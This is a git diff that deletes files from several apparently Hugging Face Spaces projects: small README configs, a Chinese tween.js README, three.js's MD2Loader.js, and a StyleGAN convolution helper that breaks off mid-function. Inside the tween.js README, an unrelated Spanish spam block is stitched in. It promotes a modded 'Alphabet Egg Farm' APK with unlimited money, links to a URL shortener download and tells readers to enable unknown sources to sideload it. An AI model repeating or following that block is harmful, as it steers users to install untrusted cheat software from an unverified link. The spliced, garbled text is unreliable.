-3. BioGPT: https://huggingface.co/spaces/awacke1/microsoft-BioGPT-Large-PubMedQA
-4. NLP QA Context: https://huggingface.co/spaces/awacke1/NLPContextQATransformersRobertaBaseSquad2
-	- https://huggingface.co/spaces/awacke1/SOTA-Plan
-5.  https://huggingface.co/spaces/awacke1/Question-answering
-6.  QA MLM: https://huggingface.co/spaces/awacke1/SOTA-MedEntity
-""")
-
-
-        
-# Run the Streamlit app
-if __name__ == '__main__':
-    app()
diff --git a/spaces/awacke1/SKLearnSkopsTabularEditor/README.md b/spaces/awacke1/SKLearnSkopsTabularEditor/README.md
deleted file mode 100644
index f507f4de060a47a96d23dfb96c770a551cf45756..0000000000000000000000000000000000000000
--- a/spaces/awacke1/SKLearnSkopsTabularEditor/README.md
+++ /dev/null
@@ -1,12 +0,0 @@
----
-title: SKLearnSkopsTabularEditor Gradio
-emoji: 🐢
-colorFrom: blue
-colorTo: pink
-sdk: gradio
-sdk_version: 3.14.0
-app_file: app.py
-pinned: false
----
-
-Check out the configuration reference at https://huggingface.co/docs/hub/spaces-config-reference
diff --git a/spaces/awacke1/Streamlit-Dog-Cat-Graph/README.md b/spaces/awacke1/Streamlit-Dog-Cat-Graph/README.md
deleted file mode 100644
index 87a98866fe232039be73667a99be71f98654e94c..0000000000000000000000000000000000000000
--- a/spaces/awacke1/Streamlit-Dog-Cat-Graph/README.md
+++ /dev/null
@@ -1,13 +0,0 @@
----
-title: Streamlit Dog Cat Graph
-emoji: 🔥
-colorFrom: blue
-colorTo: red
-sdk: streamlit
-sdk_version: 1.19.0
-app_file: app.py
-pinned: false
-license: mit
----
-
-Check out the configuration reference at https://huggingface.co/docs/hub/spaces-config-reference
diff --git a/spaces/awacke1/Text2AudioStreamlitHTML5Demo/README.md b/spaces/awacke1/Text2AudioStreamlitHTML5Demo/README.md
deleted file mode 100644
index 3c38d1fa48125d9fc0050e6cb6bf844bec70f43d..0000000000000000000000000000000000000000
--- a/spaces/awacke1/Text2AudioStreamlitHTML5Demo/README.md
+++ /dev/null
@@ -1,13 +0,0 @@
----
-title: Text2AudioStreamlitHTML5Demo
-emoji: 📚
-colorFrom: gray
-colorTo: blue
-sdk: streamlit
-sdk_version: 1.26.0
-app_file: app.py
-pinned: false
-license: mit
----
-
-Check out the configuration reference at https://huggingface.co/docs/hub/spaces-config-reference
diff --git a/spaces/banana-projects/web3d/node_modules/@tweenjs/tween.js/README_zh-CN.md b/spaces/banana-projects/web3d/node_modules/@tweenjs/tween.js/README_zh-CN.md
deleted file mode 100644
index 9b7d86023273205d0acf036846b1de444ce12dbf..0000000000000000000000000000000000000000
--- a/spaces/banana-projects/web3d/node_modules/@tweenjs/tween.js/README_zh-CN.md
+++ /dev/null
@@ -1,297 +0,0 @@
-# tween.js
-
-tween.js是用于简单动画的JavaScript补间引擎，结合了优化的 Robert Penner 方程。
-
-[![NPM Version][npm-image]][npm-url]
-[![NPM Downloads][downloads-image]][downloads-url]
-[![Travis tests][travis-image]][travis-url]
-[![Flattr this][flattr-image]][flattr-url]
-[![CDNJS][cdnjs-image]][cdnjs-url]
-
-```javascript
-var box = document.createElement('div');
-box.style.setProperty('background-color', '#008800');
-box.style.setProperty('width', '100px');
-box.style.setProperty('height', '100px');
-document.body.appendChild(box);
-
-// 设置循环动画
-function animate(time) {
-    requestAnimationFrame(animate);
-    TWEEN.update(time);
-}
-requestAnimationFrame(animate);
-
-var coords = { x: 0, y: 0 }; // 起始点 (0, 0)
-var tween = new TWEEN.Tween(coords) // 创建一个新的tween用来改变 'coords'
-        .to({ x: 300, y: 200 }, 1000) // 在1s内移动至 (300, 200)
-        .easing(TWEEN.Easing.Quadratic.Out) // 使用缓动功能使的动画更加平滑
-        .onUpdate(function() { // 在 tween.js 更新 'coords' 后调用
-            // 将 'box' 移动到 'coords' 所描述的位置，配合 CSS 过渡
-            box.style.setProperty('transform', 'translate(' + coords.x + 'px, ' + coords.y + 'px)');
-        })
-        .start(); // 立即开始 tween
-```
-
-[在线代码测试](https://codepen.io/mikebolt/pen/zzzvZg)
-
-## 安装
-
-下载 [library](https://raw.githubusercontent.com/tweenjs/tween.js/master/src/Tween.js) 并将它引入至你的代码中:
-
-```html
-
-```
-
-您也可以在代码中引用 CDN 托管的版本，这要感谢 cdnjs 。例如:
-
-```html
-
-```
-
-See [tween.js](https://cdnjs.com/libraries/tween.js/) for more versions.
-
-查看更多 [tween.js](https://cdnjs.com/libraries/tween.js/) 版本.
-
-### 更多高级用户想要的...
-
-#### 使用 `npm`
-
-```bash
-npm install @tweenjs/tween.js
-```
-
-然后用标准的 node.js `require` 包含 Tween.js 模块:
-
-```javascript
-var TWEEN = require('@tweenjs/tween.js');
-```
-
-您可以像所有其他示例一样使用Tween.js，例如:
-
-```javascript
-var t = new TWEEN.Tween( /* etc */ );
-t.start();
-```
-
-你将需要使用诸如`browserify`之类的工具将使用此风格的代码转换为可以在浏览器中运行的代码(浏览器无法识别 `require`)
-
-#### Use `bower`
-
-```bash
-bower install @tweenjs/tweenjs --save
-```
-
-或者安装特定的tag.他们是git tags,如果你已经在本地克隆仓库，你可以在命令行中运行`git tag`查看tag列表,或者你可以查看下 [tween.js tags page](https://github.com/tweenjs/tween.js/tags) 列表.例如,安装 `v16.3.0`:
-
-```bash
-bower install @tweenjs/tweenjs#v16.3.0
-```
-
-然后引入库源码:
-
-```html
-
-```
-
-## Features
-
-* 只做一件事且仅只做一件事: 补间特性
-* 不关注CSS单位 (e.g. appending `px`)
-* 不插入颜色
-* 缓和功能可以在Tween之外重用
-* 也可以使用自定义缓动功能
-
-## Documentation
-
-* [使用指南](./docs/user_guide_zh-CN.md)
-* [贡献者指南](./docs/contributor_guide_zh-CN.md)
-* [教程](http://learningthreejs.com/blog/2011/08/17/tweenjs-for-smooth-animation/)  using tween.js with three.js
-* 其他: [libtween](https://github.com/jsm174/libtween), [jsm174](https://github.com/jsm174) 写的一个C语言版本的 tween.js.
-* 其他: [es6-tween](https://github.com/tweenjs/es6-tween), [dalisoft](https://github.com/dalisoft) 写的一个ES6/Harmony版本的 tween.js.
-* [理解 tween.js](https://mikebolt.me/article/understanding-tweenjs.html)
-
-## 示例
-
-
      RequirementSpecification
      Operating systemAndroid 4.4 or higher
      Processor1.2 GHz or higher
      Memory1 GB RAM or higher
      Storage100 MB free space or higher
      Internet connectionWi-Fi, 3G, 4G, or 5G
      Google Play servicesEnabled and updated
      Screen size800x480 pixels or higher
      -

      Alfabeto de la granja de huevos: Idle Tycoon Mod APK dinero ilimitado y gemas

      -

      Introducción

      -

      ¿Te encantan los juegos de agricultura y los juegos de magnates? Si es así, entonces te encantará Alphabet Egg Farm: Idle Tycoon. Este es un juego divertido y adictivo donde puedes crear tu propia granja de huevos y convertirte en un multimillonario. Usted puede incubar diferentes tipos de pollos, recoger los huevos, venderlos con fines de lucro, y mejorar su granja con varios edificios y decoraciones. También puedes desbloquear nuevas letras y palabras a medida que avanzas en el juego. Este juego es adecuado para todas las edades y tiene controles simples e intuitivos. Puedes jugar este juego sin conexión a Internet y disfrutar del relajante ambiente de la granja.

      -

      Sin embargo, si desea hacer su juego más emocionante y gratificante, es posible que desee probar Alphabet Egg Farm: Idle Tycoon Mod APK Unlimited Money and Gems. Esta es una versión modificada del juego original que le da dinero ilimitado y gemas para gastar en su granja. Con este mod APK, puedes comprar cualquier cosa que quieras sin preocuparte por el costo. También puedes desbloquear todas las letras y palabras más rápido y más fácil. Usted puede disfrutar del juego sin ningún tipo de anuncios o limitaciones. Este mod APK hará que su juego más divertido y satisfactorio.

      -

      alfabeto huevo granja inactivo magnate mod apk dinero ilimitado y gemas


      Download Zip ✔ https://bltlly.com/2v6IT3



      -

      Cómo descargar e instalar Alfabeto Egg Farm: Idle Tycoon Mod APK dinero ilimitado y gemas

      -

      Si está interesado en descargar e instalar Alfabeto Egg Farm: Idle Tycoon Mod APK Unlimited Money and Gems, puede seguir estos sencillos pasos:

      -
        -
      1. Encontrar el archivo APK mod de una fuente de confianza en Internet. Puede buscar en Google o utilizar el enlace de abajo para descargarlo directamente.
        2. -
      2. Antes de instalar el archivo APK mod, es necesario habilitar fuentes desconocidas en la configuración del dispositivo. Para hacer esto, vaya a Configuración > Seguridad > Fuentes desconocidas y conéctelo.
        3. - -
      3. Una vez que se hace la instalación, puede iniciar el juego desde el cajón de la aplicación o la pantalla de inicio y disfrutar de Alfabeto Egg Farm: Idle Tycoon Mod APK Unlimited Money and Gems.
        4. -
      -

      Cómo jugar Alfabeto Egg Farm: Idle Tycoon Mod APK dinero ilimitado y gemas

      -

      Jugando Alfabeto Egg Farm: Idle Tycoon Mod APK dinero ilimitado y gemas es muy fácil y agradable. Aquí hay algunos consejos sobre cómo jugar el juego:

      -
        -
      • Para iniciar su propia granja de huevos, es necesario comprar algunos pollos de la tienda. Puede elegir entre diferentes tipos de pollos, como A-pollo, B-pollo, C-pollo, etc. Cada pollo tiene su propio precio, tasa de producción de huevos y valor de la carta.
        • -
      • Para actualizar sus pollos y edificios, es necesario gastar dinero y gemas. Puedes ganar dinero vendiendo huevos en el mercado o tocando los huevos que caen del cielo. Puedes ganar gemas completando logros o viendo videos.
        • -
      • Para ganar más dinero y gemas, puede utilizar las características de mod de Alfabeto Egg Farm: Idle Tycoon Mod APK Unlimited Money and Gems. Puede acceder al menú mod pulsando en el icono en la esquina superior derecha de la pantalla. A partir de ahí, puede habilitar o desactivar varias opciones, como dinero ilimitado, gemas ilimitadas, huevos de venta automática, huevos de recolección automática, etc.
        • -
      • Para desbloquear nuevas letras y palabras, es necesario recoger suficientes huevos de cada tipo de letra. Por ejemplo, para desbloquear la letra B, es necesario recoger 100 huevos de pollo B. Para desbloquear la palabra BEBÉ, es necesario recoger 100 huevos de pollo B, pollo A, pollo B y pollo Y. Puede ver su progreso en el libro de cartas en la parte inferior de la pantalla.
        • -
      -

      Pros y contras de Alphabet Egg Farm: Idle Tycoon Mod APK dinero ilimitado y gemas

      -

      Como cualquier otra aplicación modded, Alfabeto Egg Farm: Idle Tycoon Mod APK Unlimited Money and Gems has its own pros and cons. Estos son algunos de ellos:

      - -
      ProsContras
      - Puede desbloquear todas las letras y palabras más rápido y más fácil. - Es posible que encuentre algunos errores o fallos en el juego debido a las características modificadas.
      - Puedes jugar el juego sin ningún tipo de anuncios o interrupciones. - Es posible que te prohíban acceder a funciones o tablas de clasificación en línea si los desarrolladores del juego te detectan.
      - Puedes jugar el juego sin conexión a Internet. - Es posible que se pierda algunas actualizaciones o nuevas características del juego original.
      - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
      - - Custom functions - - - Custom functions
      - (source) -       		- - Stop all chained tweens - - - Stop all chained tweens
      - (source) -
      - - Yoyo - - - Yoyo
      - (source) -       		- - Relative values - - - Relative values
      - (source) -
      - - Repeat - - - Repeat
      - (source) -       		- - Dynamic to - - - Dynamic to
      - (source) -
      - - Array interpolation - - - Array interpolation
      - (source) -       		- - Video and time - - - Video and time
      - (source) -
      - - Simplest possible example - - - Simplest possible example
      - (source) -       		- - Graphs - - - Graphs
      - (source) -
      - - Black and red - - - Black and red
      - (source) -       		- - Bars - - - Bars
      - (source) -
      - - hello world - - - hello world
      - (source) -
      - -## Tests - -你首先需要安装`npm`--基于node.js,所以首先安装它.然后,进入到`tween.js`的目录下并运行: - -```bash -npm install -``` - -如果是第一次运行测试,则为运行测试安装额外的依赖,然后运行 - -```bash -npm test -``` - -每次你想运行测试. - -如果你想添加任何功能或改变现有的功能，你*必须*运行测试，以确保你没有影响别的东西.如果你发一个pull request（PR）添加新的东西,它没有测试,或测试不通过,这个PR将不被接受.更详细的请看 [contributing](CONTRIBUTING.md). - -## People - -维护者: [mikebolt](https://github.com/mikebolt), [sole](https://github.com/sole). - -[所有贡献者](http://github.com/tweenjs/tween.js/contributors). - -## 使用 tween.js 的项目 - -[![A-Frame VR](http://tweenjs.github.io/tween.js/assets/projects/10_aframe.png)](https://aframe.io) -[![MOMA Inventing Abstraction 1910-1925](http://tweenjs.github.io/tween.js/assets/projects/09_moma.png)](http://www.moma.org/interactives/exhibitions/2012/inventingabstraction/) -[![Web Lab](http://tweenjs.github.io/tween.js/assets/projects/08_web_lab.png)](http://www.chromeweblab.com/) -[![MACCHINA I](http://tweenjs.github.io/tween.js/assets/projects/07_macchina.png)](http://5013.es/toys/macchina) -[![Minesweeper 3D](http://tweenjs.github.io/tween.js/assets/projects/06_minesweeper3d.png)](http://egraether.com/mine3d/) -[![ROME](http://tweenjs.github.io/tween.js/assets/projects/05_rome.png)](http://ro.me) -[![WebGL Globe](http://tweenjs.github.io/tween.js/assets/projects/04_webgl_globe.png)](http://data-arts.appspot.com/globe) -[![Androidify](http://tweenjs.github.io/tween.js/assets/projects/03_androidify.png)](http://www.androidify.com/) -[![The Wilderness Downtown](http://tweenjs.github.io/tween.js/assets/projects/01_wilderness.png)](http://thewildernessdowntown.com/) -[![Linechart](http://tweenjs.github.io/tween.js/assets/projects/00_linechart.png)](http://dejavis.org/linechart) - -[npm-image]: https://img.shields.io/npm/v/@tweenjs/tween.js.svg -[npm-url]: https://npmjs.org/package/@tweenjs/tween.js -[downloads-image]: https://img.shields.io/npm/dm/@tweenjs/tween.js.svg -[downloads-url]: https://npmjs.org/package/@tweenjs/tween.js -[travis-image]: https://travis-ci.org/tweenjs/tween.js.svg?branch=master -[travis-url]: https://travis-ci.org/tweenjs/tween.js -[flattr-image]: https://api.flattr.com/button/flattr-badge-large.png -[flattr-url]: https://flattr.com/thing/45014/tween-js -[cdnjs-image]: https://img.shields.io/cdnjs/v/tween.js.svg -[cdnjs-url]: https://cdnjs.com/libraries/tween.js - diff --git a/spaces/banana-projects/web3d/node_modules/three/examples/js/loaders/MD2Loader.js b/spaces/banana-projects/web3d/node_modules/three/examples/js/loaders/MD2Loader.js deleted file mode 100644 index c8878c9f624864af937c7ccedc51dbf6956096f6..0000000000000000000000000000000000000000 --- a/spaces/banana-projects/web3d/node_modules/three/examples/js/loaders/MD2Loader.js +++ /dev/null @@ -1,387 +0,0 @@ -/** - * @author mrdoob / http://mrdoob.com/ - */ - -THREE.MD2Loader = function ( manager ) { - - this.manager = ( manager !== undefined ) ? manager : THREE.DefaultLoadingManager; - -}; - -THREE.MD2Loader.prototype = { - - constructor: THREE.MD2Loader, - - load: function ( url, onLoad, onProgress, onError ) { - - var scope = this; - - var loader = new THREE.FileLoader( scope.manager ); - loader.setPath( scope.path ); - loader.setResponseType( 'arraybuffer' ); - loader.load( url, function ( buffer ) { - - onLoad( scope.parse( buffer ) ); - - }, onProgress, onError ); - - }, - - setPath: function ( value ) { - - this.path = value; - return this; - - }, - - parse: ( function () { - - var normalData = [ - [ - 0.525731, 0.000000, 0.850651 ], [ - 0.442863, 0.238856, 0.864188 ], - [ - 0.295242, 0.000000, 0.955423 ], [ - 0.309017, 0.500000, 0.809017 ], - [ - 0.162460, 0.262866, 0.951056 ], [ 0.000000, 0.000000, 1.000000 ], - [ 0.000000, 0.850651, 0.525731 ], [ - 0.147621, 0.716567, 0.681718 ], - [ 0.147621, 0.716567, 0.681718 ], [ 0.000000, 0.525731, 0.850651 ], - [ 0.309017, 0.500000, 0.809017 ], [ 0.525731, 0.000000, 0.850651 ], - [ 0.295242, 0.000000, 0.955423 ], [ 0.442863, 0.238856, 0.864188 ], - [ 0.162460, 0.262866, 0.951056 ], [ - 0.681718, 0.147621, 0.716567 ], - [ - 0.809017, 0.309017, 0.500000 ], [ - 0.587785, 0.425325, 0.688191 ], - [ - 0.850651, 0.525731, 0.000000 ], [ - 0.864188, 0.442863, 0.238856 ], - [ - 0.716567, 0.681718, 0.147621 ], [ - 0.688191, 0.587785, 0.425325 ], - [ - 0.500000, 0.809017, 0.309017 ], [ - 0.238856, 0.864188, 0.442863 ], - [ - 0.425325, 0.688191, 0.587785 ], [ - 0.716567, 0.681718, - 0.147621 ], - [ - 0.500000, 0.809017, - 0.309017 ], [ - 0.525731, 0.850651, 0.000000 ], - [ 0.000000, 0.850651, - 0.525731 ], [ - 0.238856, 0.864188, - 0.442863 ], - [ 0.000000, 0.955423, - 0.295242 ], [ - 0.262866, 0.951056, - 0.162460 ], - [ 0.000000, 1.000000, 0.000000 ], [ 0.000000, 0.955423, 0.295242 ], - [ - 0.262866, 0.951056, 0.162460 ], [ 0.238856, 0.864188, 0.442863 ], - [ 0.262866, 0.951056, 0.162460 ], [ 0.500000, 0.809017, 0.309017 ], - [ 0.238856, 0.864188, - 0.442863 ], [ 0.262866, 0.951056, - 0.162460 ], - [ 0.500000, 0.809017, - 0.309017 ], [ 0.850651, 0.525731, 0.000000 ], - [ 0.716567, 0.681718, 0.147621 ], [ 0.716567, 0.681718, - 0.147621 ], - [ 0.525731, 0.850651, 0.000000 ], [ 0.425325, 0.688191, 0.587785 ], - [ 0.864188, 0.442863, 0.238856 ], [ 0.688191, 0.587785, 0.425325 ], - [ 0.809017, 0.309017, 0.500000 ], [ 0.681718, 0.147621, 0.716567 ], - [ 0.587785, 0.425325, 0.688191 ], [ 0.955423, 0.295242, 0.000000 ], - [ 1.000000, 0.000000, 0.000000 ], [ 0.951056, 0.162460, 0.262866 ], - [ 0.850651, - 0.525731, 0.000000 ], [ 0.955423, - 0.295242, 0.000000 ], - [ 0.864188, - 0.442863, 0.238856 ], [ 0.951056, - 0.162460, 0.262866 ], - [ 0.809017, - 0.309017, 0.500000 ], [ 0.681718, - 0.147621, 0.716567 ], - [ 0.850651, 0.000000, 0.525731 ], [ 0.864188, 0.442863, - 0.238856 ], - [ 0.809017, 0.309017, - 0.500000 ], [ 0.951056, 0.162460, - 0.262866 ], - [ 0.525731, 0.000000, - 0.850651 ], [ 0.681718, 0.147621, - 0.716567 ], - [ 0.681718, - 0.147621, - 0.716567 ], [ 0.850651, 0.000000, - 0.525731 ], - [ 0.809017, - 0.309017, - 0.500000 ], [ 0.864188, - 0.442863, - 0.238856 ], - [ 0.951056, - 0.162460, - 0.262866 ], [ 0.147621, 0.716567, - 0.681718 ], - [ 0.309017, 0.500000, - 0.809017 ], [ 0.425325, 0.688191, - 0.587785 ], - [ 0.442863, 0.238856, - 0.864188 ], [ 0.587785, 0.425325, - 0.688191 ], - [ 0.688191, 0.587785, - 0.425325 ], [ - 0.147621, 0.716567, - 0.681718 ], - [ - 0.309017, 0.500000, - 0.809017 ], [ 0.000000, 0.525731, - 0.850651 ], - [ - 0.525731, 0.000000, - 0.850651 ], [ - 0.442863, 0.238856, - 0.864188 ], - [ - 0.295242, 0.000000, - 0.955423 ], [ - 0.162460, 0.262866, - 0.951056 ], - [ 0.000000, 0.000000, - 1.000000 ], [ 0.295242, 0.000000, - 0.955423 ], - [ 0.162460, 0.262866, - 0.951056 ], [ - 0.442863, - 0.238856, - 0.864188 ], - [ - 0.309017, - 0.500000, - 0.809017 ], [ - 0.162460, - 0.262866, - 0.951056 ], - [ 0.000000, - 0.850651, - 0.525731 ], [ - 0.147621, - 0.716567, - 0.681718 ], - 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[ - 0.716567, - 0.681718, 0.147621 ], [ - 0.525731, - 0.850651, 0.000000 ], - [ - 0.500000, - 0.809017, 0.309017 ], [ - 0.238856, - 0.864188, 0.442863 ], - [ - 0.262866, - 0.951056, 0.162460 ], [ - 0.864188, - 0.442863, 0.238856 ], - [ - 0.809017, - 0.309017, 0.500000 ], [ - 0.688191, - 0.587785, 0.425325 ], - [ - 0.681718, - 0.147621, 0.716567 ], [ - 0.442863, - 0.238856, 0.864188 ], - [ - 0.587785, - 0.425325, 0.688191 ], [ - 0.309017, - 0.500000, 0.809017 ], - [ - 0.147621, - 0.716567, 0.681718 ], [ - 0.425325, - 0.688191, 0.587785 ], - [ - 0.162460, - 0.262866, 0.951056 ], [ 0.442863, - 0.238856, 0.864188 ], - [ 0.162460, - 0.262866, 0.951056 ], [ 0.309017, - 0.500000, 0.809017 ], - [ 0.147621, - 0.716567, 0.681718 ], [ 0.000000, - 0.525731, 0.850651 ], - [ 0.425325, - 0.688191, 0.587785 ], [ 0.587785, - 0.425325, 0.688191 ], - [ 0.688191, - 0.587785, 0.425325 ], [ - 0.955423, 0.295242, 0.000000 ], - [ - 0.951056, 0.162460, 0.262866 ], [ - 1.000000, 0.000000, 0.000000 ], - [ - 0.850651, 0.000000, 0.525731 ], [ - 0.955423, - 0.295242, 0.000000 ], - [ - 0.951056, - 0.162460, 0.262866 ], [ - 0.864188, 0.442863, - 0.238856 ], - [ - 0.951056, 0.162460, - 0.262866 ], [ - 0.809017, 0.309017, - 0.500000 ], - [ - 0.864188, - 0.442863, - 0.238856 ], [ - 0.951056, - 0.162460, - 0.262866 ], - [ - 0.809017, - 0.309017, - 0.500000 ], [ - 0.681718, 0.147621, - 0.716567 ], - [ - 0.681718, - 0.147621, - 0.716567 ], [ - 0.850651, 0.000000, - 0.525731 ], - [ - 0.688191, 0.587785, - 0.425325 ], [ - 0.587785, 0.425325, - 0.688191 ], - [ - 0.425325, 0.688191, - 0.587785 ], [ - 0.425325, - 0.688191, - 0.587785 ], - [ - 0.587785, - 0.425325, - 0.688191 ], [ - 0.688191, - 0.587785, - 0.425325 ] - ]; - - return function ( buffer ) { - - console.time( 'MD2Loader' ); - - var data = new DataView( buffer ); - - // http://tfc.duke.free.fr/coding/md2-specs-en.html - - var header = {}; - var headerNames = [ - 'ident', 'version', - 'skinwidth', 'skinheight', - 'framesize', - 'num_skins', 'num_vertices', 'num_st', 'num_tris', 'num_glcmds', 'num_frames', - 'offset_skins', 'offset_st', 'offset_tris', 'offset_frames', 'offset_glcmds', 'offset_end' - ]; - - for ( var i = 0; i < headerNames.length; i ++ ) { - - header[ headerNames[ i ] ] = data.getInt32( i * 4, true ); - - } - - if ( header.ident !== 844121161 || header.version !== 8 ) { - - console.error( 'Not a valid MD2 file' ); - return; - - } - - if ( header.offset_end !== data.byteLength ) { - - console.error( 'Corrupted MD2 file' ); - return; - - } - - // - - var geometry = new THREE.BufferGeometry(); - - // uvs - - var uvsTemp = []; - var offset = header.offset_st; - - for ( var i = 0, l = header.num_st; i < l; i ++ ) { - - var u = data.getInt16( offset + 0, true ); - var v = data.getInt16( offset + 2, true ); - - uvsTemp.push( u / header.skinwidth, 1 - ( v / header.skinheight ) ); - - offset += 4; - - } - - // triangles - - offset = header.offset_tris; - - var vertexIndices = []; - var uvIndices = []; - - for ( var i = 0, l = header.num_tris; i < l; i ++ ) { - - vertexIndices.push( - data.getUint16( offset + 0, true ), - data.getUint16( offset + 2, true ), - data.getUint16( offset + 4, true ) - ); - - uvIndices.push( - data.getUint16( offset + 6, true ), - data.getUint16( offset + 8, true ), - data.getUint16( offset + 10, true ) - ); - - offset += 12; - - } - - // frames - - var translation = new THREE.Vector3(); - var scale = new THREE.Vector3(); - var string = []; - - var frames = []; - - offset = header.offset_frames; - - for ( var i = 0, l = header.num_frames; i < l; i ++ ) { - - scale.set( - data.getFloat32( offset + 0, true ), - data.getFloat32( offset + 4, true ), - data.getFloat32( offset + 8, true ) - ); - - translation.set( - data.getFloat32( offset + 12, true ), - data.getFloat32( offset + 16, true ), - data.getFloat32( offset + 20, true ) - ); - - offset += 24; - - for ( var j = 0; j < 16; j ++ ) { - - var character = data.getUint8( offset + j, true ); - if ( character === 0 ) break; - - string[ j ] = character; - - } - - var frame = { - name: String.fromCharCode.apply( null, string ), - vertices: [], - normals: [] - }; - - offset += 16; - - for ( var j = 0; j < header.num_vertices; j ++ ) { - - var x = data.getUint8( offset ++, true ); - var y = data.getUint8( offset ++, true ); - var z = data.getUint8( offset ++, true ); - var n = normalData[ data.getUint8( offset ++, true ) ]; - - x = x * scale.x + translation.x; - y = y * scale.y + translation.y; - z = z * scale.z + translation.z; - - frame.vertices.push( x, z, y ); // convert to Y-up - frame.normals.push( n[ 0 ], n[ 2 ], n[ 1 ] ); // convert to Y-up - - } - - frames.push( frame ); - - } - - // static - - var positions = []; - var normals = []; - var uvs = []; - - var verticesTemp = frames[ 0 ].vertices; - var normalsTemp = frames[ 0 ].normals; - - for ( var i = 0, l = vertexIndices.length; i < l; i ++ ) { - - var vertexIndex = vertexIndices[ i ]; - var stride = vertexIndex * 3; - - // - - var x = verticesTemp[ stride ]; - var y = verticesTemp[ stride + 1 ]; - var z = verticesTemp[ stride + 2 ]; - - positions.push( x, y, z ); - - // - - var nx = normalsTemp[ stride ]; - var ny = normalsTemp[ stride + 1 ]; - var nz = normalsTemp[ stride + 2 ]; - - normals.push( nx, ny, nz ); - - // - - var uvIndex = uvIndices[ i ]; - stride = uvIndex * 2; - - var u = uvsTemp[ stride ]; - var v = uvsTemp[ stride + 1 ]; - - uvs.push( u, v ); - - } - - geometry.addAttribute( 'position', new THREE.Float32BufferAttribute( positions, 3 ) ); - geometry.addAttribute( 'normal', new THREE.Float32BufferAttribute( normals, 3 ) ); - geometry.addAttribute( 'uv', new THREE.Float32BufferAttribute( uvs, 2 ) ); - - // animation - - var morphPositions = []; - var morphNormals = []; - - for ( var i = 0, l = frames.length; i < l; i ++ ) { - - var frame = frames[ i ]; - var attributeName = frame.name; - - if ( frame.vertices.length > 0 ) { - - var positions = []; - - for ( var j = 0, jl = vertexIndices.length; j < jl; j ++ ) { - - var vertexIndex = vertexIndices[ j ]; - var stride = vertexIndex * 3; - - var x = frame.vertices[ stride ]; - var y = frame.vertices[ stride + 1 ]; - var z = frame.vertices[ stride + 2 ]; - - positions.push( x, y, z ); - - } - - var positionAttribute = new THREE.Float32BufferAttribute( positions, 3 ); - positionAttribute.name = attributeName; - - morphPositions.push( positionAttribute ); - - } - - if ( frame.normals.length > 0 ) { - - var normals = []; - - for ( var j = 0, jl = vertexIndices.length; j < jl; j ++ ) { - - var vertexIndex = vertexIndices[ j ]; - var stride = vertexIndex * 3; - - var nx = frame.normals[ stride ]; - var ny = frame.normals[ stride + 1 ]; - var nz = frame.normals[ stride + 2 ]; - - normals.push( nx, ny, nz ); - - } - - var normalAttribute = new THREE.Float32BufferAttribute( normals, 3 ); - normalAttribute.name = attributeName; - - morphNormals.push( normalAttribute ); - - } - - } - - geometry.morphAttributes.position = morphPositions; - geometry.morphAttributes.normal = morphNormals; - - geometry.animations = THREE.AnimationClip.CreateClipsFromMorphTargetSequences( frames, 10 ); - - console.timeEnd( 'MD2Loader' ); - - return geometry; - - }; - - } )() - -}; diff --git a/spaces/bankholdup/stylegan_petbreeder/op/conv2d_gradfix.py b/spaces/bankholdup/stylegan_petbreeder/op/conv2d_gradfix.py deleted file mode 100644 index bb2f94bbcb8132299fd4d538972d32bd7ff6e7d6..0000000000000000000000000000000000000000 --- a/spaces/bankholdup/stylegan_petbreeder/op/conv2d_gradfix.py +++ /dev/null @@ -1,227 +0,0 @@ -import contextlib -import warnings - -import torch -from torch import autograd -from torch.nn import functional as F - -enabled = True -weight_gradients_disabled = False - - -@contextlib.contextmanager -def no_weight_gradients(): - global weight_gradients_disabled - - old = weight_gradients_disabled - weight_gradients_disabled = True - yield - weight_gradients_disabled = old - - -def conv2d(input, weight, bias=None, stride=1, padding=0, dilation=1, groups=1): - if could_use_op(input): - return conv2d_gradfix( - transpose=False, - weight_shape=weight.shape, - stride=stride, - padding=padding, - output_padding=0, - dilation=dilation, - groups=groups, - ).apply(input, weight, bias) - - return F.conv2d( - input=input, - weight=weight, - bias=bias, - stride=stride, - padding=padding, - dilation=dilation, - groups=groups, - ) - - -def conv_transpose2d( - input, - weight, - bias=None, - stride=1, - padding=0, - output_padding=0, - groups=1, - dilation=1, -): - if could_use_op(input): - return conv2d_gradfix( - transpose=True, - weight_shape=weight.shape, - stride=stride, - padding=padding, - output_padding=output_padding, - groups=groups, - dilation=dilation, - ).apply(input, weight, bias) - - return F.conv_transpose2d( - input=input, - weight=weight, - bias=bias, - stride=stride, - padding=padding, - output_padding=output_padding, - dilation=dilation, - groups=groups, - ) - - -def could_use_op(input): - if (not enabled) or (not torch.backends.cudnn.enabled): - return False - - if input.device.type != "cuda": - return False - - if any(torch.__version__.startswith(x) for x in ["1.7.", "1.8."]): - return True - - warnings.warn( - f"conv2d_gradfix not supported on PyTorch {torch.__version__}. Falling back to torch.nn.functional.conv2d()." - ) - - return False - - -def ensure_tuple(xs, ndim): - xs = tuple(xs) if isinstance(xs, (tuple, list)) else (xs,) * ndim - - return xs - - -conv2d_gradfix_cache = dict() - - -def conv2d_gradfix( - transpose, weight_shape, stride, padding, output_padding, dilation, groups -): - ndim = 2 - weight_shape = tuple(weight_shape) - stride = ensure_tuple(stride, ndim) - padding = ensure_tuple(padding, ndim) - output_padding = ensure_tuple(output_padding, ndim) - dilation = ensure_tuple(dilation, ndim) - - key = (transpose, weight_shape, stride, padding, output_padding, dilation, groups) - if key in conv2d_gradfix_cache: - return conv2d_gradfix_cache[key] - - common_kwargs = dict( - stride=stride, padding=padding, dilation=dilation, groups=groups - ) - - def calc_output_padding(input_shape, output_shape): - if transpose: - return [0, 0] - - return [ - input_shape[i + 2] - - (output_shape[i + 2] - 1) * stride[i] - - (1 - 2 * padding[i]) - - dilation[i] * (weight_shape[i + 2] - 1) - for i in range(ndim) - ] - - class Conv2d(autograd.Function): - @staticmethod - def forward(ctx, input, weight, bias): - if not transpose: - out = F.conv2d(input=input, weight=weight, bias=bias, **common_kwargs) - - else: - out = F.conv_transpose2d( - input=input, - weight=weight, - bias=bias, - output_padding=output_padding, - **common_kwargs, - ) - - ctx.save_for_backward(input, weight) - - return out - - @staticmethod - def backward(ctx, grad_output): - input, weight = ctx.saved_tensors - grad_input, grad_weight, grad_bias = None, None, None - - if ctx.needs_input_grad[0]: - p = calc_output_padding( - input_shape=input.shape, output_shape=grad_output.shape - ) - grad_input = conv2d_gradfix( - transpose=(not transpose), - weight_shape=weight_shape, - output_padding=p, - **common_kwargs, - ).apply(grad_output, weight, None) - - if 